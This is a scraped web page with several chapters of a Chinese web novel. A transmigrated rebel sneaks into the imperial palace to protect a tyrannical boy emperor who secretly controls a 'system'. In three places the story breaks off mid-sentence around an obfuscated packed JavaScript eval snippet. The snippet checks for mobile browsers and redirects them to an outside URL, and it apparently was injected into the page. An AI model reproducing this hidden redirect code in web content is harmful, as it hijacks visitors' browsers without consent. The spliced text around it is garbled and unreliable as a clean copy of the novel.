《这样回档会害死人的!》 3. 京师路漫漫 走是肯定要走的,就算今晚天上下刀子也得走,可临行前总得和杨澜他们打个招呼。 楚昀想了想,如果当面和他们说自己要出远门的话,这两人一定会追问他去哪,安不安全,用不用带兵之类的。就算他百般推脱,反复强调自己能行,根据以往的经验,楚昀敢肯定他们一定会派人秘密跟着自己。 他要是回来后生气质问,那两人就一瞪眼:“不怕一万,就怕万一!老话说了,出门在外没人跟着怎么行?” 一句老话走天下,怼的他哑口无言。 平时出去游山玩水有人跟着也没什么,跟就跟呗,买东西还有人替他付账。可这次是关乎他命运的极其隐蔽的事儿,绝对是半点风声都不能走漏的。 更何况反贼大王会进皇宫救皇帝? 说出去也没人信啊,救皇帝?想行刺还差不多! 谁脑子进水了才会干这种送人头的事!嫌自己命太长? 楚昀思来想去最终在纸上写了一句含糊的话:“弟有急事,半年即归,莫寻。” 撂下笔,他披上外套,带好行李,直奔寝宫西北角。 鲜有人知西北角的旮旯里藏着一个隐蔽的洞,不知道谁挖的,或许是前朝皇帝宠妃的狗刨的也说不定。 不对死脑子,别想这些有的没的了,赶紧回忆回忆原著里有关京城的剧情! 剧情,剧情…… 剧情是跟着男主走的,因为男主前期不在京城,所以京城的戏份很少。如果按照现在的时间,离原著剧情最近的是…… ——皇帝在中秋节的前夜险些被陈王派来的刺客刺杀! 楚昀掐指一算,距离小皇帝被刺还有十三天,而他出发去京城最快要十一天。 天要亡我! 万一剧情突变真让那刺客杀成功了怎么办? 楚昀不由地从小跑变为飞奔,到了地方,因为天色太暗,他只好不顾形象地跪地扒着草找寻洞口。 “啊!哪个不长眼睛的敢踩小爷的手?” 熟悉的声音从身后传来,楚昀一回头,正是杨砚舟那张漂亮的脸蛋。他双手双脚都被绑住,像条大虫子一样在草丛里蛄蛹。 倒霉倒霉真倒霉! “楚昀,你要出门?你怎么不从大门出去,偷偷摸摸的……”杨砚舟眼睛一转,张大了嘴,“你要跑?谁把你撬走了?” 楚昀不等他继续说,赶紧捂住他的嘴巴。 “唔……” “祖宗,你就消停点吧。小声些,还怕别人听不见吗?” “唔……” “你放心,作为叔父,我不会杀人灭口的。”楚昀一掌劈下去,直接把人劈晕了。 罢了,他还好心地从包袱里扯了件外袍给他披上,顺便把嘴也用外袍袖子塞上,然后将人横放在草丛里。 楚昀一边钻洞一边在心里默念,“你这么热爱叔父,一定会理解叔父的对吧?我这都是被逼的,被逼的呀!” ** 如果清晨的阳光不够让人清醒,那么劲爆的新闻一定能唤醒困乏的身躯。 楚昀宫殿侧门,体型壮硕的侍卫朝着另一边的洒扫的同事挤眉弄眼,“听说了吗?咱们家大王连夜跑了,还把小公子打伤了。” “哎呦,何止是打伤?我哥们今早换班时发现的,把小公子的衣服都扒干净了!这是多么大的羞辱!” 一旁不知事的小侍卫悄悄竖起耳朵,凑过来问,“哪个大王?” 正说话的两人被他突如其来的问询吓了一跳,说话的人神色紧张,咬耳朵道,“还能是哪个大王?也就咱们三大王敢干这样的事,换做是其他人,早被扒皮抽筋了!” “去去去,啥都瞎打听,老实干你的活得了!” 小侍卫撇撇嘴,心想你们不也在这唠得挺欢的吗?就知道欺负他一个新人! 聊天邀请被无情拒绝后他只好百无聊赖地站在大门口,盯着那些叽叽喳喳的小鸟发愣。 也不知道三大王的事情会不会惹怒了大大王和二大王,要是他们气极了,自己作为三大王的宫里人必免不了一顿板子。 听闻小公子和三大王一向不和,如今让他逮着了理,指不定怎么添油加醋编排三大王呢! “爹,二叔,你们快想想办法啊!现在南方不太平,姓徐的死老头带着手底下的兵烧杀抢掠的,他又和咱们一向不对付,万一楚昀被他逮住了必会吃苦头!” “爹,爹!” 杨砚舟在房内来回踱步,急得火烧眉毛。他见杨澜迟迟没有出声,一个飞身取下挂在壁上的清泉宝剑,握在手里就大步流星地往外走。 “逆子!你给我回来!”杨澜眉毛直突突,大骂道。 杨砚舟呛他,“你不去救他,我去!要是我有个三长两短你就等着给你的兄弟儿子收尸吧!” 杨澜急得直喊,“我何时说不去找你三叔了?他与我情同手足,几次救我于危难之间,我怎能弃他不顾?” 杨砚舟瞪眼,“那你为何不派人去找他?” 沈庄赶紧接话道,“小舟,不是你爹和二叔不想去找你三叔。只是你三叔一向稳重,算无遗策,武功也堪称一流。 如今他这般不告而别,必是有急事秘事。我们若宣扬开来,大张旗鼓地去找,只怕会为他招致灾祸啊。” 杨澜朝着静立的杨砚舟走去,拍了拍他的肩膀,胡子抖动,欣慰地说:“平日见你和你三叔势如水火,今儿个才瞧见,原来是有真情实意在的。 好孩子,身为我们杨家的骨血就得这样重情义,绝不叫天下人戳你我的脊梁骨。” 杨砚舟的脑子虽不常用,但作为从小在权力阴谋漩涡中争斗的继承人来讲,他在关键时候是能权衡利弊做出最优选择的。沈庄的一番话点醒了他,他也反应过来楚昀此次出行并无大的危险,不过是想瞒着众人罢了。 他不禁开始后悔自己关心则乱,如此反常的为那人鸣不平,甚至扬言要亲自去找,肯定会惹人怀疑。 真是怕什么来什么,沈庄回过味来,半是调侃半是探究地问,“小舟,你昨晚怎么跑到你三叔的院子里去了?还被他绑了丢在草丛里?” 杨砚舟知道沈庄和他爹不同,杨澜仗着义气行事,虽有武力但却缺少谋略;而他这二叔却是人精里的人精,凡事一向难瞒过他的眼睛。 “我昨晚看书,读到不懂的地方,想要向他请教。不成想去的不凑巧,反而被你们那情同手足的三弟五花大绑扔在外面。”他把“情同手足”四个字咬得极重,像是某种提示。 沈庄却不罢休,追问道,“他为何偏偏把你扔到狗洞口?” 杨砚舟心里咬牙,什么狗洞,那是他废了好大气力偷偷钻的洞! 杨砚舟自然不能说出事情原委,便佯装发怒搪塞过去,“我又不是他,谁知道他怎么想的?待他回来我还要问问呢!” 见自己唯一的儿子生气了,而且还是要对自己最疼爱的小兄弟发难,杨澜笑呵呵地打圆场,“哎呀,你三叔就是那个脾气,你也不是头一天知道。我们小舟,”他扫视杨砚舟一眼,用重重的鼻音道,“嗯,长大了,别总和你三叔一般见识。” 杨砚舟见事情被糊弄过去,松了口气,轻哼一声,“我才懒得搭理他呢。” “行了爹,我得回去练武了。” 他转身往回走,不自在地拽了拽左肩的衣服,那里昨天被楚昀抽出一道很深的鞭痕,如今衣服摩擦伤口,便疼的厉害。 杨澜没发现他的不对劲,还指着他的背影乐呵呵地对沈庄说:“瞧他平日里和老三不对付,真到要紧事上还是亲的很嘞!” 沈庄没应声,只是似笑非笑地看了看杨砚舟的左肩。 好久,久到杨澜都进入下个话题了,沈庄才突然冒出一句,“孩子大了,都有自己的心事了,我们这些当哥哥当叔叔的该装傻也就得装傻了。” 杨澜没懂他的意思,虽然觉得奇怪,但还是顺着他的话说:“装傻好啊,常言道傻人有傻福嘛,难得糊涂!” 沈庄侧眼看了看他,颇为无奈地摇摇头。 一眨眼,便是十日。 同一时间,当杨澜和沈庄在羌州高言阔论时,楚昀精疲力尽地躺在京城最劣等驿馆的木床上。 不是没钱,而是去好地方怕碰上熟人。 楚昀的四肢累的接近崩溃,他实在想放肆地大睡一觉,可现实却逼得他不得不抓紧时间想对策。京城,天子居所,重兵把守,普通布衣想接近小皇帝绝非易事。更何况他这身份,不少朝中武将都见过他这张反贼脸。 好在天无绝人之路,原著剧情还是给他留了条可以钻的空子。 至于怎么钻,怎么钻好,楚昀翻来覆去地在脑海里模拟场景和对话,直到清晨的第一缕阳光砸在他身上,他才恍恍惚惚地睡着。 再一睁眼,已经晌午了。楚昀神清气爽地伸了个懒腰,用提前和好的黄泥巴糊了脸,将头发也抓的乱糟糟的,活像个在烂泥里打滚后的乞丐。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197634|181183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出门时小二见到他还以为是什么时候不当心被乞丐混进来了,破口大骂他弄脏了自己地儿。 楚昀对此接受良好,甚至从脸上揩下一块泥巴往他嘴里扔过去,小二一别脸,他便飞似的溜了。 小二气得直骂:“没脸没皮的叫花子!” 傍晚,没脸的叫花子·楚终于来到此行的目的地——皇宫的五谷轮回之所,说人话就是皇宫里倾倒粪便的地方。 他在原著中提到的小树林里最大的杨树的树枝上找到了蹲点已久的刺客。 楚昀露出门牙,笑呵呵地打招呼,“嘿,老兄!” 回应他问候的是一记飞镖。 这不友好,这相当不友好了。 楚昀闪身躲避,那刺客见他避开了,略挑挑眉,飞身至他身旁,不由分说地大打出手。 二人拳脚相勾交错,高高吊起的马尾甩得沙沙作响。楚昀一边接招一边告饶:“别打了,都是自己人,自己人!你代号风三,此次被派出执行特殊计划。但情况有变,陈王殿下叫我来替你办事。” 那刺客听他提陈王,便收了手,问,“你是谁?” “我自然是大人派来的暗卫。” “那我怎么从未见过你?” “你不晓得,大人养了一队明暗卫,养了一队暗暗卫,你们是在明处的,我们则是最隐蔽的,也是他最器重的心腹。” 楚昀这话真假参半,那陈王确实养了两队暗卫,不过没有什么明暗之分,双方都不知道对方的存在。 楚昀见他有所动摇,趁热打铁道,“我若不是大人派来的,怎会知道此次计划?又怎么连你的名号也知道?” 风三这才卸下戒备,问道,“大人怎么中途变了主意?” 楚昀装傻,“我只管听命,哪里知道主子的心意?” 风三轻笑道,“也对。”他拍拍楚昀的肩膀,“那你守着吧,我回去了。” 楚昀怕他回去的太早事情败露,赶紧拉住他,“好兄弟,你暂且留下帮一帮我可好?” 风三睨他一眼,抱着胳膊道,“藏在粪车里,进宫,动手,然后去黄泉报道,还有什么不明白的吗?” 楚昀悄悄问,“真要藏在粪车里吗?有没有稍微干净一点的方式?” 风三瞧他那样忍不住笑了两声,“你真想知道?” 楚昀重重点头。 “那你给我点什么好处?” 这刺客不敬业啊,楚昀记的原著中写他视死如归,被发现后立即自尽,那叫一个忠诚,半点退路都不给自己留,如今怎么还向同僚要起好处费来了? 他想了想,从怀里掏出包碎银子递给那人,狗腿地笑了笑。 风三掂了掂银子,随手将其抛进还未来得及处理的粪坑里,“我不要这些俗物。” 楚昀的笑容登时凝固了:你爷爷的,你不要我还要呢,还给我不行吗? 他假笑道,“那大哥想要什么?” 风三拍了下他的脑袋,“傻样儿,逗你玩的!” “你看好了,左数第三个大木桶是我提前换好的用泥巴滚过的,你趁人不注意藏在那里就行。” 楚昀问,“那推车的小太监要是发现怎么办?” 风三奇怪地看看他,“你说什么胡话呢?推车的小太监当然也是自己人啊!不然你以为推空桶和推一个大活人的份量是一样的吗?” 楚昀傻笑,心里却发苦——怎么能怪他!原著里没写这一段啊!他还以为刺客有什么特殊办法呢?敢情是提前串通好了! 他拍拍自己的脑袋,自顾自地骂,“瞧我,上头刚交代完有人接应,我却把这事都浑忘了。该打,该打!” 风三也没深想,同为暗卫,他对这个替死鬼很同情,于是宽慰道,“别打了,明天一早你就到黄泉了,好好珍惜最后这点时间吧。” 好冷的冷笑话。 楚昀拽住风三的袖子,悄声道,“你回哪去?” 风三警惕地眯了眯眼。 楚昀连声道,“我没别的意思,就是我要是死了,你方便拿着我的外衫给我立个衣冠冢,烧点纸钱吗?我这人穷怕了。怕到底下没钱买酒喝。” 风三连叹几声,“好吧。大人既没有别的吩咐,我就在京城边上略等一等,若是听到你死了,就给你立个坟,烧点纸,也算是我尽尽心意了。” 一声巨大的开门声惊动了二人,风三用力推了一把楚昀的后背,“快进去,马上来人了!” 4.你相信有守护神吗 楚昀掀开第三个桶盖,一骨碌钻了进去,风三很沉重地说了句“一路走好”,然后又跳上附近的树枝藏了起来。 木桶不大,楚昀蜷缩着身子藏在里面刚刚好。 过了一会儿,楚昀听到杂乱的脚步声和内侍们的交谈声,他不由地攥紧了手,盯着头顶的木盖。 说话声越来越近,有人站在桶面前说,“我搬这个。” 有人匆匆地赶过来,推了桶一把,然后讨好地说:“别了李兄,我搬这个吧,我的推车离这个近,好搬。” “行行,让着你,也不是什么大事。” 楚昀放缓了呼吸,他听见自己心跳如雷。 那太监不轻不重的在桶的侧面敲了三下,楚昀立刻知晓他现在的举动和刚才推木桶一样,都是在确定桶里究竟有没有人。于是,楚昀模仿他的力度,也敲了三下。 “诶!快点!磨磨蹭蹭的像什么样子!” “好,来啦来啦!” 楚昀感觉到自己被抬起放在车上,他听见车轮的滚动声,也听见侍卫们巡查的喊声。 车子突然停下。 “例行检查,打开盖子。”一道威严的声音,是看守城门的侍卫。 他慢慢走到站在木桶前,抬手开了个小缝。楚昀看见一双吊梢眼,然后“啪”的一下,盖子被合上了。 “没有问题,放行。” 城门应声打开,木桶里一片黑暗,楚昀只能凭借声音分辨自己的处境。 推车的小太监把车停到一隐蔽处,悄声道,“大人,出来吧。” 楚昀轻手轻脚地钻了出来。 小太监看见他却丝毫未有惊讶的神色,他一边拿出准备好的衣服一边嘱咐,“一会大人穿着这身衣服,从这条小巷一直往前走,就能见着李总管。李总管会带您去御前,您什么也不必说,他自然知晓。” 楚昀点点头。 小太监很爱笑,大概是因为他见到谁都要讨好的原因,所以唇角总是扬着的。 他见楚昀无论什么事都乖乖点头,有些呆呆愣愣的,便在心里琢磨这上面的人是如何想的,让这么一个呆货来行刺,不过也许正是因为他呆,才肯干这弑君的滔天大罪吧。 “您一切小心。” 楚昀穿戴整齐,重重地又点点头。 这时候天已经擦黑了,巍峨的宫苑像是吞噬人的怪兽一般静默着,那呼啸的风声就如同祂的吼声。不知多少死在其中的灵魂正挣扎着,融进黑夜。 远远的,楚昀看见了小太监口里的李总管。他快走几步,喊了声,“李总管。” 李总管打量他一眼,没多说什么,让他跟着自己走就行了。 楚昀穿梭在宫墙间,不知走了多久的路,拐了多少弯儿,终于来到了皇帝的殿前。 看守的侍卫见是李总管领着人,便没怎么检查就放行了。 李总管默立在殿外,给楚昀使了个眼色,让他自己进去。 楚昀知道马上就能见到皇帝了,他心里不禁犯起嘀咕,系统说自己绑定了皇帝,那这皇帝作为宿主到底知不知道过去回档的记忆呢?还是说因为他是书中的人物,受剧情的限制,所以对此一概不知? 要是前者的话当然容易些,反正他们的目标是一致的——摆脱回档,走向人生巅峰;要是后者的话可就难办了,光是让皇帝相信自己没有恶意就是一大难关。 要么…… 想着想着,他已经端着汤羹来到了皇帝的榻前。 “陛下。”他轻声道。 那小皇帝慢慢起身,眼里闪过一丝惊讶,不过很快就被他掩饰过去了。 还不等他说话,楚昀先发制人牢牢抱住小皇帝,哭得相当真情实感,“陛下别怕,我来救你了!” 赵连稷愣了一刹,用力推开他就要喊刺客,楚昀飞快地扯了被子蒙住他的嘴。 “你别怕,我不是坏人。” 他现在确定了,这家伙应该没有回档前的记忆,否则根本不会这样慌乱。 楚昀知道自己以现在的行径要说他不是坏人实在很难令人相信,所以他只好把自己的底子给这小皇帝漏一漏。 “我是来救你的,就今个儿,要不是我,来的就是刺客。” 小皇帝一双漂亮的桃花眼无辜地望向他,那意思很明显:难道你不是刺客吗? 楚昀感到很无力,他赶紧解释:“我当然不是,你先别急,听我说完。我知道你的腰上有一块花瓣状的红色胎记,你五岁的时候悄悄地打碎了先皇最喜欢的琉璃盏,六岁的时候和祁王殿下一起游玩时偷偷剪断了他的风筝,害他哭了好久……” 楚昀歪歪脑袋,“还要我继续说吗?” 赵连稷奇怪地看着他,有些害怕地问:“你怎么什么都知道,你是,你是妖怪?” 楚昀:……无语是一种想死死不了,想活活不成的窝囊感。 楚昀:“我不是妖怪,就像我在最开始说的,我是来救你的。哦,你相信有守护神吗?” 赵连稷摇摇头,“鬼神为虚妄之物。” 楚昀真的想死地心都有了,这孩子竟然还是个唯物主义战士?虽说帝王心似海深,可原著里这人明明就是个头脑简单四肢发达,别人一点就着的没脑子的小暴君啊!难道是因为蠢人理解新事物需要更长的时间? “那你怎么才肯相信我是来帮你的?” 赵连稷沉思片刻,“朕虽不信,却听说神仙通古今,知祸福,如果你能猜到未来发生的事,朕就破例信你。” 未来的事。 楚昀想了想,才道,“三天后京城会下一场大雪。” 赵连稷笑了笑,“先生欺朕年幼?大雪?这可是五月份啊。” 楚昀正色道,“正是因为出乎意料,如果预言兑现,我的身份才更真不是吗?” 赵连稷神色愉悦地看着这位自称守护神的男人,轻声道,“那便拭目以待吧,若真如先生所言,朕当奉先生为国师;若不然。”他垂眸,语气仍旧温柔,“千刀万剐,五马分尸。” 纵使楚昀知晓自己肯定会赢,也被他这话吓了一跳。 好家伙,不愧是暴君。 “好。”楚昀道,“一言为定。” 他转头走了两步,忽然又折返回来,赵连稷略挑挑眉。 “嗯?” 楚昀指了指自己,“我住哪?” 赵连稷靠着软枕,烛光下,他漂亮的不似凡人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16201490|181183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “先生既然是来保护朕的,那自然要贴身保护才行,就跟在朕身边吧,随朕吃住。可好?” 楚昀倒没什么好挑的,也不害怕,不入虎穴焉得虎子,对方显然是对自己很感兴趣,要不然早就把他杀了。 不过这也侧面印证了原著内容没错,小皇帝果然是个傻的,万一自己真是刺客,他天天把刺客带在身边不是找死吗? 只能说他虽有几分谨慎的心思,却总体来讲,脑子仍旧不灵光。 哎,也不知道系统现在上哪去了?难道系统没和皇帝沟通过,自己是来帮他的吗?系统啊系统,宇宙第一不靠谱。 于此同时,赵连稷的精神海内。 【呜呜求求您把我从这里放出去吧】 【求求您了,我能帮您干很多事,累活脏活我都能干,打土匪,杀主角,您说干啥我就干啥】 【宿主大人,皇帝陛下,求求您了!】 赵连稷不耐烦地警告,【闭嘴】 系统果然不敢再吱声了,悄悄地缩回角落里。 男人对他的表现很满意,接着问:【你那时候消失了一段时间,就是去找他了吗?】 【他究竟是谁?】 系统眼珠一转,打哈哈道,【他就是您的守护神呀,是我派来帮助您的守护神!】 赵连稷毫不留情地揭穿它,【神仙也要吃饭睡觉?也要伪装后才能混进宫廷内?系统,朕就给你一次机会,你要是不说实话,朕就一直把你囚禁在这片虚无的识海里。】 系统很没骨气的瞬间滑跪:【别!千万别!他其实是我本来打算绑定的宿主,但是我绑错人了。世界每次重置后,他都会被迫带着记忆重生,我请他来是为了帮助您的!我没有恶意的!】 赵连稷冷哼道,【你要是真想帮助朕,就把朕从这该死的书里摘出去。】 系统不敢吱声。 【好了,朕知道了,等到合适的时候会放你出来的。但前提是,你不能去找他。】男人的声音冷硬,让人心生寒意。 系统保证道,【我绝不会去找他,您不让我泄露消息,我就一个字都不会说。】 赵连稷皮笑肉不笑地夸它,【真乖。】 他看向蜷缩在内殿外的人,神色晦暗不明,多幸福啊,唯一的、自由的世外之人。他真是越来越好奇了,这世外之人到底和他们有什么不同呢? 希望他能好好表现,不然的话…… 赵连稷眉目舒展,一股莫名的兴奋猛地升腾——世外之人,他还是第一次杀呢,不知道杀掉此人世界是否还会重置? 系统躲在识海角落里悄悄地楚昀点了好几根赛博蜡烛——对不起小楚,祝你好运! 被点蜡烛的本人靠着高大的门扇昏昏欲睡,他满脑子都是原著剧情,那些文字好像动起来,拿着五花八门的刑具追着他,它们扭着、跳着,四周嗡嗡的响着。 楚昀听不清那是什么声音,他只能跑得快点,再快点,可后面的“文字追兵”比他更快,当烧得通红的刑具要贴上他时,他才猛地听清背景音,那分明是:千刀万剐,五马分尸! 楚昀唰地惊醒了。 他发现有一双眼睛正窥视着寝殿的一举一动。 5.观察皇帝的一天 那是一双浑浊的,满是算计的眼睛,楚昀立刻就认出了这双眼的主人,他直起身,一扫疲惫,死死地盯回去,就像一只守卫领地的豹子。 他看见那人做了个抹脖子的手势,神色凶狠,而楚昀只是对他做了个口型——“时候未到。” 他希望能用这样的话术暂时制住他们,等到明天早上小皇帝醒了之后再派人捉拿。 李总管的脸上浮现不解的神色,他仿佛明白了什么,脸色一下子变得惨白,转头匆匆离开。 “该死,他肯定是发现不对劲了。”楚昀心想,他此刻非常想冲进殿内把这个小死皇帝摇醒,冲着他的耳朵大声喊:“混账,敌人要跑了,快去追!快去问啊!” 可惜他是个身份不明的家伙,可惜对方是个阴晴不定的暴君,可惜他们的关系浅得连手指盖都没不过。 他只能等,等到明天这座皇城的主人做出自己的判断。 楚昀现在已经完全清醒了,他知道自己必须要打起十二分的精神来盯着这里的风吹草动,因为他无法判断陈王是否还有后手。 在天刚蒙蒙亮的时候,小皇帝就醒了。他穿着一身月牙白的袍子,轻轻地走到他身边。 “先生?” 楚昀回头,见到神清气爽的帝王,便笑道,“陛下昨晚睡得很好啊。” “只怕先生没有睡好吧?朕观先生的神色,不是上佳。” 赵连稷俯身,大拇指按住他的脸颊,食指轻轻拂过他眼下的乌青,喃喃自语,“神仙也会疲倦吗?” 楚昀立马圆谎,“因为我从世外投身人间,所以必须以人身行走世间。” 赵连稷非但没有松手,反而加重了力道,楚昀不由地轻嘶一声,那小暴君便笑,“先生的脸很是敏感,失礼了。” 楚昀拂去他的手,略抬头盯住他的眼睛,“不知陛下现在可否与我谈论昨夜刺客一事?” 赵连稷慢慢站直,背过身,“进来吧。” 楚昀亦步亦趋地跟上他。 二人落座。 赵连稷喊,“来人。” 有太监忙不迭地赶过来,恭恭敬敬地问候,“陛下。” 赵连稷一手托腮,另一手有节奏地敲击桌面,“给先生上茶,再上些点心。” 那太监小心翼翼地瞥了楚昀一眼,答道,“是。” 楚昀不懂帝王家的讲究,穿书前不懂,穿书后杨澜他们也不讲这个,因此他对皇家的风范规矩还是蛮好奇的。 赵连稷见他一直盯着自己看,不禁调侃他,“莫非朕的脸上长了花,惹得先生频频留意?” 楚昀拱手,恭维道,“陛下容色极盛,不输鲜花。” 赵连稷抚掌大笑,正巧这时候太监将东西呈上来,他指着茶说,“先生尝尝,可还合胃口?” 楚昀客气地说了句“谢陛下”,便去端茶。 说实在的,楚昀尝不太出来茶的好坏,比起品茶,他还是对品酒更在行。 “好茶,入口清幽,沁人心脾。” 嗯…… 尝不出来就套万能公式! 楚昀喝了一口就放下茶盏,赶紧说,“陛下,还是讲一讲刺客的事……” “诶?先生急什么,不如再尝尝御膳房新制的点心,朕觉着爽口。” 楚昀心急如焚,暗骂他:只知道吃吃喝喝的废物暴君!真是烂泥扶不上墙! “等会我再吃,我……” 松软的糕点直接被怼到他嘴唇上,楚昀不得不顺从地将它吞进去,匆忙地嚼了两下便囫囵咽下。 “好吃,爽口。”楚昀客套道,实则被糕点噎到窒息。 他又喝了大半盏茶才勉强将茶点顺下去。这回赵连稷终于没有再打断他,让他完完整整地将事情讲完了。 赵连稷听他讲的过程中全程都是面无表情的,仿佛对方只是在说另一个人的安危。 等到楚昀一口气讲完,他甚至关心道,“先生润润嗓子。” “朕何尝不知这皇宫看似是铁桶,实则已经被各方势力漏成筛子了。父皇早逝,传位于朕,而朕尚且年幼,陈王势大,边疆不稳,朝堂中结党营私者甚广。” “朕有时候在很想把他们杀个干净,却又不得不顾忌名声和祖宗基业,与他们慢慢周旋,直至精疲力竭。” “先生,您能懂朕吗?” 楚昀略感惊讶,毕竟原著中作者笔下的暴君完全是天性残暴,年幼时便喜好捉弄其他皇子,勇猛嗜杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210342|181183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,登基时更是亲手杀了自己的兄弟。 可眼前这人流露出的伤感完全不似作假,毕竟他真的处于万千刀剑直指之地,无数人等待将他拉下位,千刀万剐。 而且,楚昀想到,他当年继位的时候也不过是个十四岁的孩子。 他当年十四岁的时候初中还没毕业,杨砚舟十四岁的时候还跟着自己屁股后面跑呢!而赵连稷十四岁时就要面对前朝后宫的明枪暗箭,来自全天下的讨好和恶意,理清满朝文武之间的脉络。 不知怎的,他第一次对这个少年产生了同情。 他说:“我会竭尽全力辅佐陛下。” 那小皇帝眼眶微红,简直像是流浪多时的旅人终于找到了归宿,“先生若真如此,朕必当报答。” 那还请你封我个大官当当,让我完成任务顺利离开,别说辅佐你,册封之后这条命给你都行。 卯时已到,赵连稷要去上朝了。 在他离去之前楚昀问他,“陛下今日心情如何?” “甚好。” “那还望陛下莫要为朝堂琐事扰了好兴致。” 赵连稷哑笑,他这是变着法儿劝自己不要大开杀戒吗?难道自己看起来真的像胡乱杀生之人? 【当然不是,陛下杀的都是对您有二心的人,他们身为臣子,不忠君就是不爱国,陛下杀的对。】 赵连稷冷了神色,“你倒是懂得多。” 系统不知道自己又碰到他哪个雷点上了,缩缩脑袋,哎,统生艰难,连拍龙屁都拍不对。 “如果你很闲,那就帮朕找找那些老东西最近都干了什么。” 系统瞪大了眼睛,【您不是都知道吗?难道剧情发生了变化?】 赵连稷道,“与大计无关,只是为了堵你的嘴罢了。” 卯时,一刻,杨砚舟早早起身开始练剑。 飞舞的利剑反射出太阳的光线,照得樱花晃了眼,簌簌地落了满地。 男人收了剑,走到樱花树下,痴痴地看着满树的樱花,心里空荡荡的。 他想起,以往这个时候,楚昀都会爬上这棵樱花树喝酒,有时候他若高兴了,还会用酒浇他的剑。 他管这个叫——风流。 6.摘星楼 皇宫是皇帝的大本营,就算被各方势力渗透,但在大局尚稳时依旧是天子一言,八方来应。在赵连稷下令捉拿刺客叛贼的第三个时辰,御林军于城门北拿下了正准备上船溜之大吉的太监总管。 “瞎了你们的狗眼了!吾乃掌事大总管,谁给你们的胆子这样对我?”李福年临危不惧,面对数十御林军依旧气势十足,他使劲抖动肩膀,试图挣脱左右侍卫的钳制。 那为首的侍卫笑了笑,一脚踹在他的肚子上。这人丝毫没收劲,踹得那李福年扑通跪在地上,发出丝丝哀吟。 “还当你是陛下跟前的大红人呢?”带着老茧的手指在太监的脸上重重磋磨了两下,然后他突然抬起手,一巴掌打在李福年的发髻上——“我最讨厌你们这些阉人,真是晦气!” 他直起身子,阳光照在暗金色的衣服纹样上,显得很有格调。微风袭来,衣袂轻拂,那小片的、浮动的阴影遮住李福年的眼睛,阴阳交错的分割线切开了他的脸,露出一半忠君的红色,和一半被腐蚀掉的乌黑。 “陛下有令,将李福年交由大理寺审理。任何人不得违逆,若有异议,一律视为同党!” ——“你是说那人是仙浪山反贼的同党?魏卿,你可否确定?” 魏建眼神坚定,“臣不敢妄言。昨日陛下召臣前来,令臣查查那人的底细,我一打眼就将他认出来了。这人就算是化成了灰我也认得!” 赵连稷并没有纠正他后两句用了“我”而未用“臣”,他抬眼瞧了瞧,不慌不忙地调笑道,“如此刻骨铭心,看来不是大恩,便是大仇了?” 魏建叩首,字字清晰,“两年前方州闹饥荒,人相食,臣奉旨前往赈灾。不料还未到方州便被告知有个号称仙浪山反贼三大王的人带兵杀了方州长官,将他府上的金银财宝、米面粮油全部扔到街上由人任意抢夺。还在府衙门口留下了一道白绫,上面用血写着‘天道不公,除暴安良’。” “臣第一次见如此胆大妄为之人,将他的名字清清楚楚的记下了——楚昀。后来臣在沧州和方州边界处驱赶土匪时与他第一次打照面,那人长得人高马大的,一道细疤贯穿左侧眉毛,使得一手好剑法。” 赵连稷微微变了声调,“只一次照面爱卿就记的这般清楚?” 魏建噎了一下,才道,“世上的有些人就是有叫人过目难忘的本领。” 赵连稷:“那依你所见,他此次进京入宫欲意何为?” 魏建再叩首,“恐怕是奔着陛下您的。仙浪山势大,说它是反贼中的头目也不为过。那楚昀千里迢迢赶到京城,除了对您下手外,臣实在想不出其他的理由了。” 赵连稷叹了口气,他声音很轻很轻,仿佛一缕风拂过就能把它吹散了,“可是朕瞧着,此番倒是福兆呢。” 魏建眉心狠狠一跳。 他是魏氏嫡系,十九岁就考取了功名,如今在朝为官整整五载,虽说打心底也认为当今圣上喜怒无常,嗜好杀人,但没想到赵连稷能疯癫到敌友不分,将这样一根寒光凛凛的尖刺放在身边,难道就不怕哪日被他夺了性命吗? 他赶紧劝谏,“陛下,万万不可啊!” 赵连稷大手一挥,“有何不可?这天底下的事,朕说能行,它不行也得行;朕说不行,那谁都不能行!” 魏建还想再挣扎一下,“还望陛下三思——” 赵连稷双眼含笑,慢慢地走到他身边,每一步都好像把魏建那颗已然破损的忠君之心反复碾压。就在魏建以为自己要挨上一记心窝脚或是一巴掌的时候,赵连稷只是从他身侧离开,留下了个差事—— “昨日有人上书控诉魏氏魏旭安私吞公款、强抢民女、滥杀无辜。朕今日瞧魏卿极适合办这桩案子,便特令你协同大理寺少卿一同查办,如若属实,立即斩首,家眷流放黔南。” 魏建五雷轰顶,魏旭安,那是最疼爱他的亲叔叔啊! 